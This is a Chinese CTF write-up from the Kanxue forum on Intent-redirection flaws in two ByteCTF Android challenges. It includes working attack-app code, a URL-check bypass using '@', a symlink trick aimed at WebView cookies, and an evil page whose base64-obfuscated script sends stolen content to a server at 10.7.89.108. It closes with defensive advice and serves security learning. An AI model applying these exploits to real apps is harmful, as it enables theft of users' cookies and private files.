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由2021ByteCTF引出的intent重定向浅析

Forgo7ten 看雪学苑 2022-07-01


本文为看雪论坛优秀文章
看雪论坛作者ID:Forgo7ten



在此先感谢ByteCTF的赛前培训,感谢summer师傅的倾情讲解。


1


Intent浅要概述


Intent是Android程序中各组件之间进行交互的一种重要方式,它不仅可以指明当前组件想要执行的动作,还可以在不同组件之间传递数据。Intent一般可被用于启动活动、启动服务以及发送广播等场景。


Intent是一种运行时绑定(runtime binding)机制,它能在程序运行的过程中连接两个不同的组件。通过Intent,你的程序可以向Android表达某种请求或者意愿,Android会根据意愿的内容选择适当的组件来响应。


Intent大致可以分为两种,显式Intent和隐式Intent。

显式Intent:直接设置目标组件的ComponentName(目的组件),用于一个应用内部的消息传递,比如启动另一个Activity或者一个services。通过Intent的setComponent()和setClass()来制定目标组件的ComponentName。

隐式Intent:没有指定ComponentName,而是通过指定一系列的action和category等信息,交由系统去分析,并找出合适的组件来响应。

同时Intent可以携带以下信息:

(1)component(组件):目的组件

Component属性明确指定Intent的目标组件的类名称。如果 component这个属性有指定的话,将直接使用它指定的组件(显式Intent)。指定了这个属性以后,Intent的其它所有属性都是可选的。


(2)Action(动作):用来表现意图的行动

Action 是一个用户定义的字符串,用于描述一个 Android 应用程序组件,一个 Intent Filter 可以包含多个 Action。在 AndroidManifest.xml 的Activity 定义时,可以在其<intent-filter >节点指定一个Action列表用于标识 Activity 所能接受的“动作”。


(3)category(类别):用来表现动作的类别

该属性也是通过作为<intent-filter>的子元素来声明的。如果没有指定category,将会使用默认的"android.intent.category.DEFAULT"。只有当<action>和<category>中的内容同时能够匹配上Intent中指定的action和category时,这个活动才能响应Intent。


intent可以通过addCategory()方法指定多个category,只有同时满足时,才能匹配成功。

(4)data(数据):表示与动作要操纵的数据

Data是用一个uri对象来表示的。<data>标签可配置以下属性:

  • 只有<data> 标签中指定的内容和Intent中携带的Data完全一致时,当前活动才能够响应该Intent。

  • android:scheme 。用于指定数据的协议部分,如上例中的http部分。

  • android:host 。用于指定数据的主机名部分,如上例中的www.baidu.com部分。

  • android:port 。用于指定数据的端口部分,一般紧随在主机名之后。

  • android:path 。用于指定主机名和端口之后的部分,如一段网址中跟在域名之后的内容。

  • android:mimeType 。用于指定可以处理的数据类型,允许使用通配符的方式进行指定。


(5)type(数据类型):指定Data属性的数据类型

如果Intent对象中既包含Uri又包含Type,那么,在<intent-filter>中也必须二者都包含才能通过测试。


Type属性用于明确指定Data属性的数据类型或MIME类型,但是通常来说,当Intent不指定Data属性时,Type属性才会起作用,否则Android系统将会根据Data属性值来分析数据的类型,所以无需指定Type属性。

data和type属性一般只需要一个,通过setData方法会把type属性设置为null,相反设置setType方法会把data设置为null,如果想要两个属性同时设置,要使用Intent.setDataAndType()方法。

(6)extras(扩展信息):扩展信息

提供附加数据。使用putExtra()方法来设置额外的key-value数据


(7)Flags(标志位):期望意图的运行模式

用来指示系统如何启动一个Activity(比如:这个Activity属于哪个Activity栈)和Activity启动后如何处理它(比如:是否把这个Activity归为最近的活动列表中)。



2


babydroid


环境 API30_x86


漏洞分析


服务源码文件server.py

print_to_user(r""" ____ __ ____ __ /\ _`\ /\ \ /\ _`\ __ /\ \ \ \ \L\ \ __ \ \ \____ __ __\ \ \/\ \ _ __ ___ /\_\ \_\ \ \ \ _ <' /'__`\ \ \ '__`\/\ \/\ \\ \ \ \ \/\`'__\/ __`\/\ \ /'_` \ \ \ \L\ \/\ \L\.\_\ \ \L\ \ \ \_\ \\ \ \_\ \ \ \//\ \L\ \ \ \/\ \L\ \ \ \____/\ \__/.\_\\ \_,__/\/`____ \\ \____/\ \_\\ \____/\ \_\ \___,_\ \/___/ \/__/\/_/ \/___/ `/___/> \\/___/ \/_/ \/___/ \/_/\/__,_ / /\___/ \/__/ """) if not proof_of_work(): print_to_user("Please proof of work again, exit...\n") exit(-1) print_to_user("Please enter your apk url:")url = sys.stdin.readline().strip()EXP_FILE = download_file(url)if not check_apk(EXP_FILE): print_to_user("Invalid apk file.\n") exit(-1) print_to_user("Preparing android emulator. This may takes about 2 minutes...\n")emulator = setup_emulator()adb(["wait-for-device"]) adb_install(APK_FILE)adb_activity(f"{VULER}/.MainActivity", wait=True)with open(FLAG_FILE, "r") as f: adb_broadcast(f"com.bytectf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()}) time.sleep(3)adb_install(EXP_FILE)adb_activity(f"{ATTACKER}/.MainActivity") print_to_user("Launching! Let your apk fly for a while...\n")time.sleep(EXPLOIT_TIME_SECS) try: os.killpg(os.getpgid(emulator.pid), signal.SIGTERM)except: traceback.print_exc()


h13~h15:进行了一个sha256的验证,必须满足sha256((prefix+proof).encode()).hexdigest().startswith(difficulty*"0") == True才能继续。其中prefix为random_hex(6)随机的字符;proof为用户输入的字符串。可以每次爆破得到正确的结果来输入。


h17~h22:用户输入一个url地址。server会将该文件下载下来,同时检查是否为apk。


h24~h26:新建一个安卓模拟器。


h28:将含有漏洞的APK安装。


h29:启动受害APK。


h30~h31:打开服务器中保存的flag文件。然后通过adb命令发送一个广播,将flag传输给.FlagReceiver。其中命令如下:

shell su root am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.babydroid/.FlagReceiver -e flag [flag]


h34~h35:安装attack apk并运行。


apk分析


AndroidManifest.xml


可以看到注册了两个activity,一个receiver,还有一个FileProvider。其中两个activity都是可导出(可被外部组件访问)的。

MainActivity

MainActivity中没有做操作,只是载入布局来显示

Vulnerable(易受攻击的)
protected void onCreate(Bundle savedInstanceState){ super.onCreate(savedInstanceState); this.startActivity(this.getIntent().getParcelableExtra("intent")); }

该Activity通过getIntent()首先获得intent对象,之后使用getParcelableExtra("intent"),获取反序列化后名为"intent"的extra数据,并使用startActivity()来启动该intent。

FlagReceiver
public void onReceive(Context context,Intent intent){ String flag; String str = "flag"; if ((flag = intent.getStringExtra(str)) != null) { File file = new File(context.getFilesDir(), str); this.writeFile(file, flag); Log.e("FlagReceiver", "received flag."); } return;}

该广播接收者从intent中取到一个key为"flag"的String类型数据,之后将其写出到/data/data/[package_name]/files/flag文件中。对应了server.py中传入flag的逻辑。我们想要获取的flag也就是这个路径。

FileProvider

FileProvider | Android Developers (google.cn)(https://developer.android.google.cn/reference/androidx/core/content/FileProvider?hl=en)
 
FileProvider是ContentProvider的一个特殊的子类,通过使用content://uri来代替file://uri,来促进安全的共享与app关联的文件。
 
content URI允许临时的授予该文件的读写权限。所以当创建一个包含文件content URI的时候,(如果需要)可以通过Intent.setFlags()添加相应的权限。同时权限会通过Intent传递给接收的activity(或者服务)。
 
在创建FileProvider时,需提供一个xml文件来指定该provider提供的文件。如res/xml/file_paths.xml,其中提供了相应的映射路径以及别名。同时需要在AndroidManifest.xml中的FileProvider对应的节点内定义<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths" >来声明。(其中resource属性内为提供的xml文件)
 
该APK的指定文件xml中定义如下:
<?xml version="1.0" encoding="utf-8"?><paths> <root-path name="root" path="" /></paths>

<root-path>节点:代表设备的根目录。

另外的节点:


name属性:给该目录起的别名,用于隐藏路径。

path属性:临时授权访问的路径(该目录下的子目录。

则该APK提供的FileProvider提供了根目录,通过root/别名来访问。
 
则如果我们想访问flag的存储路径,实际构造的部分uri应该为root/data/data/[package_name]/files/flag。


利用思路


FlagURI


题目将flag存储到了/data/data/[package_name]/files/flag文件。同时提供了一个FileProvider,则思路是通过FileProvider来将该文件读取。
 
首先需要构造一个content URI。格式为:
content://[authorities]/[name]/[file_relative_path]

则构造的URI为:
content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag


获得权限


由于该FileProvider的exported属性(必须)设置为false。导致我们无法在外部组件中直接使用该provider。
 
但是该apk提供了一个VulnerableActivity,并且(不做任何校验的)将接收到的intent内中的key为"intent"的extra数据当作intent,并使用startActivity()来启动。这样就对启动的activity进行了临时的授权,可以访问该应用中未导出的组件。
 
因此,我们可以设置一个intent来启动Vulnerable,同时给该Intent附加一个key为intent的数据,该数据包含着构造好的恶意intent。
 
当Vulnerable被启动时,就会找到intent的数据,我们在intent中附上我们的attack APK的Activity,同时附加上flag的contentURI。
 
之后转到我们自己的Activity时,就可以任意读写目标应用内部文件。


Attack代码实现


AttackAPP

private void getFlag() { // 判断一下是否是被目标apk来start的该Activity if (getIntent().getAction().equals("evil")) { // 获取接收到的uri Uri data = getIntent().getData(); try { // 定义一个字符输入流 InputStreamReader isr = new InputStreamReader(getContentResolver().openInputStream(data)); char[] buf = new char[1024]; StringBuffer sb = new StringBuffer(""); while (-1 != isr.read(buf, 0, 1024)) { sb.append(String.valueOf(buf)); } // 读取的内容输入存储到flag String flag = new String(sb); Log.d("PwnPwn", flag); ((TextView) findViewById(R.id.tv_show)).setText(new String(sb)); // 通过网络、将信息传输回来获取 sendData("getFlag",flag); } catch (IOException e) { e.printStackTrace(); } } else { // 定义一个action为"evil"的Intent Intent evil = new Intent("evil"); // 设定目的组件为当前MainActivity,也可以单独放在另一个AttackActivity中 evil.setClassName(getPackageName(), MainActivity.class.getName()); // 设置操纵data数据为 flag所在文件的contentURI evil.setData(Uri.parse(pwnUri)); // 添加读写权限 evil.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION); // 新建一个intent,用于启动目标APK Intent intent = new Intent(); // 启动的目标Activity为Vulnerable intent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable"); // 同时将构造好的evil Intent当作 key "intent"的数据包装进去 intent.putExtra("intent", evil); // 启动目标apk startActivity(intent); finish(); }}

获取到flag后设置到TextView上,同时通过sendData()方法使用get或post请求将数据回显到自己搭建的服务。该方法不表。
 
同时还需要声明网络权限:
<uses-permission android:name="android.permission.INTERNET" />

在API28+的应用默认禁止使用明文网络流量(flase),因此还需要在<application>节点中设置属性。
android:usesCleartextTraffic="true"

需要注意一点的是attackAPP是由server.py来启动的,内定义了PackageName应为"com.bytectf.pwnbabydroid"。


本地实现


首先输入命令,来生成一个flag
adb shell su root am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.babydroid/.FlagReceiver -e flag ByteCTF{testFlagxxxxx}

然后安装恶意apk,运行。
 
效果图如下,可见是由Vulnerable来启动的MainActivity。



3


easydroid


环境 API27_x86


漏洞分析


服务源码文件server.py


该server文件与上题的server文件大体相同。
 
修改了环境为API27。
 
修改了attackAPP和targetAPP的包名。


apk分析


AndroidManifest
<application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:debuggable="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Easydroid" android:usesCleartextTraffic="true"> <activity android:exported="true" android:name="com.bytectf.easydroid.MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> <activity android:exported="false" android:name="com.bytectf.easydroid.TestActivity"/> <receiver android:exported="false" android:name="com.bytectf.easydroid.FlagReceiver"> <intent-filter> <action android:name="com.bytectf.SET_FLAG"/> </intent-filter> </receiver></application>

两个activity,一个receiver,其中只有MainActivity是可导出的。

FlagReceiver
public class FlagReceiver extends BroadcastReceiver { @Override // android.content.BroadcastReceiver public void onReceive(Context context, Intent intent) { String flag = intent.getStringExtra("flag"); if(flag != null) { try { String v0_1 = Base64.encodeToString(flag.getBytes("UTF-8"), 0); CookieManager.getInstance().setCookie("https://tiktok.com/", "flag=" + v0_1); Log.e("FlagReceiver", "received flag."); } catch(UnsupportedEncodingException e) { e.printStackTrace(); } return; } }}

该文件接收intent中key为"flag"的数据value,然后将其通过setCookie设置到cookie文件。
 
而cookie文件位于/data/data/com.bytectf.easydroid/app_webview/Cookies(API 27)文件中。
 
我们如果想要获取flag,只需要获取该Cookie文件就可以了。

MainActivity
@Override // androidx.fragment.app.FragmentActivityprotected void onCreate(Bundle arg5) { super.onCreate(arg5); Uri data = this.getIntent().getData(); if(data == null) { data = Uri.parse("http://app.toutiao.com/"); } if((data.getAuthority().contains("toutiao.com")) && (data.getScheme().equals("http"))) { WebView webView = new WebView(this.getApplicationContext()); webView.setWebViewClient(new WebViewClient() { @Override // android.webkit.WebViewClient public boolean shouldOverrideUrlLoading(WebView arg5, String arg6) { if(Uri.parse(arg6).getScheme().equals("intent")) { try { MainActivity.this.startActivity(Intent.parseUri(arg6, 1)); } catch(URISyntaxException e) { e.printStackTrace(); } return 1; } return super.shouldOverrideUrlLoading(arg5, arg6); } }); this.setContentView(webView); webView.getSettings().setJavaScriptEnabled(true); webView.loadUrl(data.toString()); }}

这个Activity比较重要。
 
获取了intent,并且读取了intent携带的data数据。如果data数据为空,则 设置data为一个普通的Uri,并不执行其他操作。
 
如果getAuthority()得到的字符串中包括"toutiao.com"、scheme为"http"。则会使用webView来加载该链接。
 
而shouldOverrideUrlLoading()方法会在WebView中每次发起跳转的时候被回调。回调的时候该方法判断scheme是否等于"intent",如果等于"intent",则使用startActivity()方法启动该intent相应的组件,该方法第二个参数flags代表着Uri被解析格式规范。

TestActivity


该activity设置成未导出状态,我们没办法直接访问。但是该activity没有对intent进行任何校验,就直接使用WebView来加载intent携带的key为"url"的数据了。
 
我想我们的目标就是它了。
protected void onCreate(Bundle arg5) { super.onCreate(arg5); String url = this.getIntent().getStringExtra("url"); WebView webView = new WebView(this.getApplicationContext()); this.setContentView(webView); webView.getSettings().setJavaScriptEnabled(true); webView.loadUrl(url);}


利用思路


我们的最终目标是通过TestActivity加载Cookie文件,并通过某种方式得到回显。

Intent重定向


因为MainActivity是可导出的,我们可以给MainActivity传递一个intent,同时绕过authority和scheme的验证,使其可以访问到构造好的evil网址。
 
则需要构造一个Uri,我选择构造的为"http://app.toutiao.com@[evil_page]",这样便可以访问到evil_page。
 
同时evil_page内通过使用location.href添加一个Intent的Uri。当访问时,shouldOverrideUrlLoading()方法就会被回调。并且解析该Uri作为intent并使用startActivity()来启动。
 
我们只需让该intent携带一个"url"的数据,并且明确指向TestActivity。这样当TestActivity接收到后,就会将url来加载。

WebView窃取Cookies文件


我们的目标是获得Cookie文件,如果将Cookies文件的路径放到"url"的数据中,便可以将Cookies当作html解释,但只是将Cookies文件使用WebView加载还是不够,因为我们需要将Cookies文件中的内容传输回来。
 
于是就可以在evil_page中使用document.cookie=设置一个cookie,然后里面填写恶意的JavaScript代码将数据发送到接收方。当将Cookie当做html解释时,恶意JavaScript代码就会执行。
 
还有一个点是Cookies文件没有后缀名,我们还需要创建一个.html的符号链接来指向Cookies文件,这样才能实现WebView加载Cookies文件。

Attack代码实现


AttackAPP

public class MainActivity extends AppCompatActivity { // 定义evil_page的地址 String base = "10.7.89.108/MyTest/evil.html"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // 构造一个恶意Intent,让shouldOverrideUrlLoading回调时候使用startActivity传递该Intent buildEvilIntent(); // 启动搭建好的evil 网页,让目标app访问。 launch(base); } private void buildEvilIntent() { Intent evil = new Intent(); // 设置目的组件为TestActivity evil.setClassName("com.bytectf.easydroid","com.bytectf.easydroid.TestActivity"); // 将需要WebView加载的Cookies符号地址链接传递过去 evil.putExtra("url","file:"+symlink()); // flags是转换的格式,同MainActivity为1 Log.d("PwnThree-evilUri",evil.toUri(1)); // 复制该Uri,然后在evil_page中添加 跳转到该Uri的代码 } private void launch(String url){ // 构造一个intent Intent intent = new Intent(); // 设置目的组件为MainActivity intent.setClassName("com.bytectf.easydroid","com.bytectf.easydroid.MainActivity"); // 构造恶意Uri,使用@突破校验 intent.setData(Uri.parse("http://www.toutiao.com@" + url)); // 设置activity启动模式 intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK|Intent.FLAG_ACTIVITY_CLEAR_TASK); // 启动目标app的activity startActivity(intent); } private String symlink(){ // 获得应用数据目录 String root = getApplicationInfo().dataDir; Log.d("PwnThree","root path:"+root); // 构造一个符号链接 String symlink = root + "/symlink.html"; Log.d("PwnThree","symlink path:"+symlink); String cookies = null; Runtime runtime = Runtime.getRuntime(); try { // Cookies所在路径 cookies = getPackageManager().getApplicationInfo("com.bytectf.easydroid",0).dataDir +"/app_webview/Cookies"; Log.d("PwnThree","Cookies path:"+cookies); // 删除该path对应的文件,防止创建符号链接时冲突。 runtime.exec("rm "+symlink).waitFor(); // 创建该符号链接,使后缀名为.html。方便WebView打开 runtime.exec("ln -s "+cookies+" " + symlink).waitFor(); // 赋予应用目录最高777权限,使外部应用也可以访问该目录 runtime.exec("chmod -R 777 "+root).waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (PackageManager.NameNotFoundException e) { e.printStackTrace(); } // 返回创建的符号链接的全路径 return symlink; }}


evil_page

<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>evil</title></head><body><h1>injected cookie with xss</h1><script> document.cookie = "sendData = '<img src=\"evil\" onerror=\"eval(atob('dmFyIGJhc2VVcmwgPSAiaHR0cDovLzEwLjcuODkuMTA4L015VGVzdC9SZWNlaXZlU2VydmxldD8iCm5ldyBJbWFnZSgpLnNyYyA9IGJhc2VVcmwgKyAiY29va2llPSIgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImh0bWwiKVswXS5pbm5lckhUTUwpOw=='))\">'" var baseUrl = "http://10.7.89.108/MyTest/ReceiveServlet?" new Image().src = baseUrl + "cookie=" + encodeURIComponent("open evil page."); setTimeout(function() { location.href = 'intent:#Intent;component=com.bytectf.easydroid/.TestActivity;S.url=file%3A%2Fdata%2Fuser%2F0%2Fcom.bytectf.pwneasydroid%2Fsymlink.html;end'; }, 40000);</script></body></html>


h10:添加了一个cookie,名字为"sendData",相应的值是一个<img>标签,src属性是一个不存在的路径,因此<img>标签在装载文档或图像的过程中会发生错误,就会执行onerror事件。使用eval()来执行js代码文本,atob()将文本进行base64解密得到真实的代码。


其中base64的代码源为:

var baseUrl = "http://10.7.89.108/MyTest/ReceiveServlet?"new Image().src = baseUrl + "cookie=" + encodeURIComponent(document.getElementsByTagName("html")[0].innerHTML);


也就是将该页面全部内容作为参数发送到接收方。


h11~h12:只是简单的通知一下接收方用户打开了该页面(可以去掉)。


h13~h15:使用setTimeout延时40s再跳转。因为含有恶意js代码的cookie的写入需要一定时间。


等待好后会跳转前往 构造好的intent的Uri。之后便会被shouldOverrideUrlLoading()回调函数捕获,并通过startActivity()来启动TestActivity。


本地实现


输入命令让FlagReceiver接收到flag并将其存放在cookie中。
adb shell su root am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.easydroid/.FlagReceiver -e flag ByteCTF{testFlag_x_easydroid}

此时可以看到:
预设置的flag已经存储在/data/user/0/com.bytectf.easydroid/app_webview/Cookies中。
 
实现效果图(中间删除了部分重复帧):


可见已经成功获取到了cookie文件。



4


最后


通过上述两题的例子,可见我们虽然没有相应权限,但都通过导出组件对Intent重定向不完善的校验产生的漏洞,间接访问到了未导出的组件。
 
如何防范:

(1)应严格控制组件的可导出权限,没必要导出的组件添加android:exported="false"属性。

(2)在进行Intent重定向时,应对Intent进行严格的校验。

(3)添加代码混淆,提高攻击成本。


个人的一些浅见,文中如有错误,敬请斧正。
 
再次感谢summer师傅的倾情讲解。
 

参考资料

Docs (feishu.cn)(https://bytedance.feishu.cn/file/boxcnWibqpknk3S708qerqHoxiP)




 


看雪ID:Forgo7ten

https://bbs.pediy.com/user-home-925172.htm

*本文由看雪论坛 Forgo7ten 原创,转载请注明来自看雪社区





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